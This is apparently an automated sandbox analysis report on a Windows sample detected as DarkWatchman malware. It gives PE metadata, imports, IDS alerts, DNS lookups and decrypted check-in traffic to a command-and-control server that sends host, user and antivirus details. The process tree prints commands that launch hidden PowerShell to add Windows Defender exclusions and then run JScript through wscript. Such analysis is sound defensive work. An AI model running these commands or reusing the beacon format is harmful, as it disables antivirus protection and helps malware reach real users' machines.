              sub esp, 0Ch
              lea ecx, dword ptr [ebp-0Ch]
              call 00007F8F28867132h
              push 0043A70Ch
              lea eax, dword ptr [ebp-0Ch]
              push eax
              call 00007F8F288699E7h
              int3
              jmp 00007F8F2886BA45h
              jmp dword ptr [00432260h]
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              push 00421480h
              push dword ptr fs:[00000000h]
              mov eax, dword ptr [esp+10h]

              Rich Headers

              Programming Language:
              • [ C ] VS2008 SP1 build 30729
              • [IMP] VS2008 SP1 build 30729
              • [C++] VS2015 UPD3.1 build 24215
              • [EXP] VS2015 UPD3.1 build 24215
              • [RES] VS2015 UPD3 build 24213
              • [LNK] VS2015 UPD3.1 build 24215

              Data Directories

              NameVirtual AddressVirtual Size Is in Section
              IMAGE_DIRECTORY_ENTRY_EXPORT0x3b6100x34.rdata
              IMAGE_DIRECTORY_ENTRY_IMPORT0x3b6440x3c.rdata
              IMAGE_DIRECTORY_ENTRY_RESOURCE0x620000x12e9b.rsrc
              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
              IMAGE_DIRECTORY_ENTRY_SECURITY0x598840x1758.data
              IMAGE_DIRECTORY_ENTRY_BASERELOC0x750000x212c.reloc
              IMAGE_DIRECTORY_ENTRY_DEBUG0x397d00x54.rdata
              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x342180x40.rdata
              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IAT0x320000x260.rdata
              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x3abb40x120.rdata
              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

              Sections

              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
              .text0x10000x3060f0x308005c34491fee255555d49145e7743274fbFalse0.5879409632731959data6.6930176200685825IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              .rdata0x320000xa4020xa60046ba011f50ad8d65a6b8d983b050ac7fFalse0.4504659262048193data5.2029801315349085IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
              .data0x3d0000x238b00x1200ce7ee73df4e6a3a0f245a2d8fa63b9dfFalse0.3682725694444444data3.8380200395534696IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              .gfids0x610000xe80x20079c1564768c1621d256d8d36e32e89faFalse0.333984375data2.1181695081051135IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
              .rsrc0x620000x12e9b0x130005fc1b7f4c8038d7803c78eaeffb9cbadFalse0.7324732730263158data7.179692902210898IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
              .reloc0x750000x212c0x22003e4166c697facadac24f07e8b3e0774bFalse0.7904411764705882data6.621792284103551IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

              Resources

              NameRVASizeTypeLanguageCountryZLIB Complexity
              PNG0x626a40xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
              PNG0x631ec0x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
              RT_ICON0x647980x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 5120.28360215053763443
              RT_ICON0x64a800x128Device independent bitmap graphic, 16 x 32 x 4, image size 1280.4797297297297297
              RT_ICON0x64ba80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors0.5844882729211087
              RT_ICON0x65a500x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors0.7581227436823105
              RT_ICON0x662f80x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors0.6134393063583815
              RT_ICON0x668600x87eaPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9974133471288154
              RT_ICON0x6f04c0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 96000.3655601659751037
              RT_ICON0x715f40x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 42240.4057223264540338
              RT_ICON0x7269c0x468Device independent bitmap graphic, 16 x 32 x 32, image size 10880.5647163120567376
              RT_DIALOG0x72b040x286dataEnglishUnited States0.5092879256965944
              RT_DIALOG0x72d8c0x13adataEnglishUnited States0.60828025477707
              RT_DIALOG0x72ec80xecdataEnglishUnited States0.6991525423728814
              RT_DIALOG0x72fb40x12edataEnglishUnited States0.5927152317880795
              RT_DIALOG0x730e40x338dataEnglishUnited States0.45145631067961167
              RT_DIALOG0x7341c0x252dataEnglishUnited States0.5757575757575758
              RT_STRING0x736700x1e2dataEnglishUnited States0.3900414937759336
              RT_STRING0x738540x1ccdataEnglishUnited States0.4282608695652174
              RT_STRING0x73a200x1b8dataEnglishUnited States0.45681818181818185
              RT_STRING0x73bd80x146dataEnglishUnited States0.5153374233128835
              RT_STRING0x73d200x446dataEnglishUnited States0.340036563071298
              RT_STRING0x741680x166dataEnglishUnited States0.49162011173184356
              RT_STRING0x742d00x152dataEnglishUnited States0.5059171597633136
              RT_STRING0x744240x10adataEnglishUnited States0.49624060150375937
              RT_STRING0x745300xbcdataEnglishUnited States0.6329787234042553
              RT_STRING0x745ec0xd6dataEnglishUnited States0.5747663551401869
              RT_GROUP_ICON0x746c40x84data0.6666666666666666
              RT_MANIFEST0x747480x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

              Imports

              DLLImport
              KERNEL32.dllGetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer
              gdiplus.dllGdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

              Possible Origin

              Language of compilation systemCountry where language is spokenMap
              EnglishUnited States

              Network Behavior

              Suricata IDS Alerts

              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
              2025-01-08T15:47:07.965728+01002035186ET MALWARE Win32/DarkWatchman Activity (POST)1192.168.2.649710185.159.131.230443TCP
              2025-01-08T15:47:07.965728+01002048563ET MALWARE Win32/DarkWatchMan Checkin Activity (POST) M21192.168.2.649710185.159.131.230443TCP
              2025-01-08T15:47:09.041997+01002048563ET MALWARE Win32/DarkWatchMan Checkin Activity (POST) M21192.168.2.649711185.159.131.230443TCP
              2025-01-08T15:47:10.832365+01002034745ET MALWARE Win32/DarkWatchman Checkin Activity (POST)1192.168.2.649713185.159.131.230443TCP
              2025-01-08T15:47:12.163940+01002034745ET MALWARE Win32/DarkWatchman Checkin Activity (POST)1192.168.2.649714185.159.131.230443TCP

              Network Port Distribution

              TCP Packets

              TimestampSource PortDest PortSource IPDest IP
              Jan 8, 2025 15:47:06.966537952 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:06.966568947 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:06.966675043 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:06.973278046 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:06.973299026 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:07.789652109 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:07.789823055 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:07.808715105 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:07.808732033 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:07.809231043 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:07.865021944 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:07.965511084 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:07.965662003 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:07.965738058 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:08.063143969 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:08.063178062 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:08.063335896 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:08.067193031 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:08.067209959 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:08.988759041 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:08.988857985 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:08.992167950 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:08.992185116 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:08.992526054 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.036041975 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.041821957 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.041886091 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.041997910 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.436594009 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.437167883 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.437228918 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.462542057 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.462560892 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.462580919 CET49710443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.462589025 CET44349710185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.516405106 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.520414114 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.520535946 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.540739059 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.540776968 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.540874004 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.541481018 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.541492939 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.542282104 CET49711443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.542300940 CET44349711185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.597040892 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.597083092 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:09.597333908 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.597955942 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:09.597971916 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.340049982 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.340691090 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.340723038 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.341666937 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.341675043 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.341775894 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.341789961 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.396094084 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.396620035 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.396632910 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.397582054 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.397582054 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.397588968 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.397605896 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.832360983 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.832920074 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.833447933 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.833769083 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.833769083 CET49713443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:10.833796024 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:10.833806992 CET44349713185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:12.163939953 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:12.164661884 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:12.164781094 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:12.164839029 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:12.164856911 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:12.164891005 CET49714443192.168.2.6185.159.131.230
              Jan 8, 2025 15:47:12.164896011 CET44349714185.159.131.230192.168.2.6
              Jan 8, 2025 15:47:48.340415001 CET6117853192.168.2.6162.159.36.2
              Jan 8, 2025 15:47:48.345185041 CET5361178162.159.36.2192.168.2.6
              Jan 8, 2025 15:47:48.345263004 CET6117853192.168.2.6162.159.36.2
              Jan 8, 2025 15:47:48.350105047 CET5361178162.159.36.2192.168.2.6
              Jan 8, 2025 15:47:48.786885977 CET6117853192.168.2.6162.159.36.2
              Jan 8, 2025 15:47:48.816171885 CET5361178162.159.36.2192.168.2.6
              Jan 8, 2025 15:47:48.816245079 CET6117853192.168.2.6162.159.36.2

              UDP Packets

              TimestampSource PortDest PortSource IPDest IP
              Jan 8, 2025 15:47:06.919727087 CET5628253192.168.2.61.1.1.1
              Jan 8, 2025 15:47:06.928869009 CET53562821.1.1.1192.168.2.6
              Jan 8, 2025 15:47:06.935704947 CET5559353192.168.2.61.1.1.1
              Jan 8, 2025 15:47:06.945171118 CET53555931.1.1.1192.168.2.6
              Jan 8, 2025 15:47:06.948185921 CET6175053192.168.2.61.1.1.1
              Jan 8, 2025 15:47:06.962594032 CET53617501.1.1.1192.168.2.6
              Jan 8, 2025 15:47:48.339883089 CET5352562162.159.36.2192.168.2.6
              Jan 8, 2025 15:47:48.827102900 CET53576071.1.1.1192.168.2.6

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Jan 8, 2025 15:47:06.919727087 CET192.168.2.61.1.1.10xa2b5Standard query (0)bd0baba4.onlineA (IP address)IN (0x0001)false
              Jan 8, 2025 15:47:06.935704947 CET192.168.2.61.1.1.10xc70cStandard query (0)bd0baba4.storeA (IP address)IN (0x0001)false
              Jan 8, 2025 15:47:06.948185921 CET192.168.2.61.1.1.10x4f50Standard query (0)bd0baba4.siteA (IP address)IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Jan 8, 2025 15:47:06.928869009 CET1.1.1.1192.168.2.60xa2b5Name error (3)bd0baba4.onlinenonenoneA (IP address)IN (0x0001)false
              Jan 8, 2025 15:47:06.945171118 CET1.1.1.1192.168.2.60xc70cName error (3)bd0baba4.storenonenoneA (IP address)IN (0x0001)false
              Jan 8, 2025 15:47:06.962594032 CET1.1.1.1192.168.2.60x4f50No error (0)bd0baba4.site185.159.131.230A (IP address)IN (0x0001)false

              HTTP Request Dependency Graph

              • bd0baba4.site

              HTTPS Proxied Packets

              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              0192.168.2.649710185.159.131.2304435196C:\Windows\SysWOW64\wscript.exe
              TimestampBytes transferredDirectionData
              2025-01-08 14:47:07 UTC315OUTPOST /index.php HTTP/1.1
              Connection: Keep-Alive
              Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
              Accept: */*
              User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like Gecko
              X-Client-Id: 9e146be9
              X-Client-Controller: 0
              X-Client-Ut: 864178
              Content-Length: 8
              Host: bd0baba4.site
              2025-01-08 14:47:07 UTC1OUTData Raw: 39
              Data Ascii: 9
              2025-01-08 14:47:07 UTC7OUTData Raw: 65 31 34 36 62 65 39
              Data Ascii: e146be9
              2025-01-08 14:47:09 UTC387INHTTP/1.1 200 OK
              Server: nginx
              Date: Wed, 08 Jan 2025 14:47:09 GMT
              Content-Type: application/octet-stream
              Transfer-Encoding: chunked
              Connection: close
              Content-Transfer-Encoding: binary
              Last-Modified: Sun, 01 Jan 2000 00:00:00 GMT
              Expires: Sun, 01 Jan 2000 00:00:00 GMT
              Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0
              Pragma: no-cache
              2025-01-08 14:47:09 UTC13INData Raw: 38 0d 0a 39 65 31 34 36 62 65 39 0d 0a
              Data Ascii: 89e146be9
              2025-01-08 14:47:09 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              1192.168.2.649711185.159.131.2304434836C:\Windows\SysWOW64\wscript.exe
              TimestampBytes transferredDirectionData
              2025-01-08 14:47:09 UTC315OUTPOST /index.php HTTP/1.1
              Connection: Keep-Alive
              Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
              Accept: */*
              User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like Gecko
              X-Client-Id: 9e146be9
              X-Client-Controller: 0
              X-Client-Ut: 864178
              Content-Length: 8
              Host: bd0baba4.site
              2025-01-08 14:47:09 UTC1OUTData Raw: 39
              Data Ascii: 9
              2025-01-08 14:47:09 UTC7OUTData Raw: 65 31 34 36 62 65 39
              Data Ascii: e146be9
              2025-01-08 14:47:09 UTC387INHTTP/1.1 200 OK
              Server: nginx
              Date: Wed, 08 Jan 2025 14:47:09 GMT
              Content-Type: application/octet-stream
              Transfer-Encoding: chunked
              Connection: close
              Content-Transfer-Encoding: binary
              Last-Modified: Sun, 01 Jan 2000 00:00:00 GMT
              Expires: Sun, 01 Jan 2000 00:00:00 GMT
              Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0
              Pragma: no-cache
              2025-01-08 14:47:09 UTC13INData Raw: 38 0d 0a 39 65 31 34 36 62 65 39 0d 0a
              Data Ascii: 89e146be9
              2025-01-08 14:47:09 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              2192.168.2.649713185.159.131.2304435196C:\Windows\SysWOW64\wscript.exe
              TimestampBytes transferredDirectionData
              2025-01-08 14:47:10 UTC317OUTPOST /index.php HTTP/1.1
              Connection: Keep-Alive
              Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
              Accept: */*
              User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like Gecko
              X-Client-Id: 9e146be9
              X-Client-Controller: 2
              X-Client-Ut: 864178
              Content-Length: 159
              Host: bd0baba4.site
              2025-01-08 14:47:10 UTC1OUTData Raw: 6f
              Data Ascii: o
              2025-01-08 14:47:10 UTC158OUTData Raw: 73 3d 35 37 36 39 36 65 36 34 36 66 37 37 37 33 32 30 33 31 33 30 32 30 34 35 36 65 37 34 36 35 37 32 37 30 37 32 36 39 37 33 36 35 32 30 34 31 34 64 34 34 33 36 33 34 26 63 6e 3d 33 31 33 32 33 33 33 37 33 31 33 36 26 75 6e 3d 36 35 36 65 36 37 36 39 36 65 36 35 36 35 37 32 26 62 3d 31 32 30 26 6c 3d 65 6e 2d 43 48 26 61 64 6d 3d 31 26 70 64 3d 30 26 64 72 3d 30 26 61 76 3d 35 37 36 39 36 65 36 34 36 66 37 37 37 33 32 30 34 34 36 35 36 36 36 35 36 65 36 34 36 35 37 32
              Data Ascii: s=57696e646f777320313020456e746572707269736520414d443634&cn=313233373136&un=656e67696e656572&b=120&l=en-CH&adm=1&pd=0&dr=0&av=57696e646f777320446566656e646572
              2025-01-08 14:47:10 UTC387INHTTP/1.1 200 OK
              Server: nginx
              Date: Wed, 08 Jan 2025 14:47:10 GMT
              Content-Type: application/octet-stream
              Transfer-Encoding: chunked
              Connection: close
              Content-Transfer-Encoding: binary
              Last-Modified: Sun, 01 Jan 2000 00:00:00 GMT
              Expires: Sun, 01 Jan 2000 00:00:00 GMT
              Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0
              Pragma: no-cache
              2025-01-08 14:47:10 UTC7INData Raw: 32 0d 0a 4f 4b 0d 0a
              Data Ascii: 2OK
              2025-01-08 14:47:10 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              3192.168.2.649714185.159.131.2304434836C:\Windows\SysWOW64\wscript.exe
              TimestampBytes transferredDirectionData
              2025-01-08 14:47:10 UTC317OUTPOST /index.php HTTP/1.1
              Connection: Keep-Alive
              Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
              Accept: */*
              User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like Gecko
              X-Client-Id: 9e146be9
              X-Client-Controller: 2
              X-Client-Ut: 864178
              Content-Length: 159
              Host: bd0baba4.site
              2025-01-08 14:47:10 UTC1OUTData Raw: 6f
              Data Ascii: o
              2025-01-08 14:47:10 UTC158OUTData Raw: 73 3d 35 37 36 39 36 65 36 34 36 66 37 37 37 33 32 30 33 31 33 30 32 30 34 35 36 65 37 34 36 35 37 32 37 30 37 32 36 39 37 33 36 35 32 30 34 31 34 64 34 34 33 36 33 34 26 63 6e 3d 33 31 33 32 33 33 33 37 33 31 33 36 26 75 6e 3d 36 35 36 65 36 37 36 39 36 65 36 35 36 35 37 32 26 62 3d 31 32 30 26 6c 3d 65 6e 2d 43 48 26 61 64 6d 3d 31 26 70 64 3d 30 26 64 72 3d 30 26 61 76 3d 35 37 36 39 36 65 36 34 36 66 37 37 37 33 32 30 34 34 36 35 36 36 36 35 36 65 36 34 36 35 37 32
              Data Ascii: s=57696e646f777320313020456e746572707269736520414d443634&cn=313233373136&un=656e67696e656572&b=120&l=en-CH&adm=1&pd=0&dr=0&av=57696e646f777320446566656e646572
              2025-01-08 14:47:12 UTC387INHTTP/1.1 200 OK
              Server: nginx
              Date: Wed, 08 Jan 2025 14:47:12 GMT
              Content-Type: application/octet-stream
              Transfer-Encoding: chunked
              Connection: close
              Content-Transfer-Encoding: binary
              Last-Modified: Sun, 01 Jan 2000 00:00:00 GMT
              Expires: Sun, 01 Jan 2000 00:00:00 GMT
              Cache-control: must-revalidate, no-store, no-cache, max-age=0, post-check=0, pre-check=0
              Pragma: no-cache
              2025-01-08 14:47:12 UTC7INData Raw: 32 0d 0a 4f 4b 0d 0a
              Data Ascii: 2OK
              2025-01-08 14:47:12 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Statistics

              CPU Usage

              Click to jump to process

              Memory Usage

              Click to jump to process

              High Level Behavior Distribution

              Click to dive into process behavior distribution

              Behavior

              Click to jump to process

              System Behavior

              General

              Target ID:0
              Start time:09:46:59
              Start date:08/01/2025
              Path:C:\Users\user\Desktop\YyVnwn8Zst.exe
              Wow64 process (32bit):true
              Commandline:"C:\Users\user\Desktop\YyVnwn8Zst.exe"
              Imagebase:0xbc0000
              File size:372'700 bytes
              MD5 hash:6CBE4DDE104084454980AE3405A0339C
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:low
              Has exited:true

              General

              Target ID:2
              Start time:09:47:00
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\cmd.exe
              Wow64 process (32bit):true
              Commandline:"C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe")
              Imagebase:0x1c0000
              File size:236'544 bytes
              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:3
              Start time:09:47:00
              Start date:08/01/2025
              Path:C:\Windows\System32\conhost.exe
              Wow64 process (32bit):false
              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Imagebase:0x7ff66e660000
              File size:862'208 bytes
              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:4
              Start time:09:47:00
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              Wow64 process (32bit):true
              Commandline:powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
              Imagebase:0x700000
              File size:433'152 bytes
              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:5
              Start time:09:47:00
              Start date:08/01/2025
              Path:C:\Windows\System32\conhost.exe
              Wow64 process (32bit):false
              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Imagebase:0x7ff66e660000
              File size:862'208 bytes
              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:6
              Start time:09:47:00
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\wscript.exe
              Wow64 process (32bit):true
              Commandline:wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"
              Imagebase:0x7d0000
              File size:147'456 bytes
              MD5 hash:FF00E0480075B095948000BDC66E81F0
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:8
              Start time:09:47:02
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              Wow64 process (32bit):true
              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local"
              Imagebase:0x700000
              File size:433'152 bytes
              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

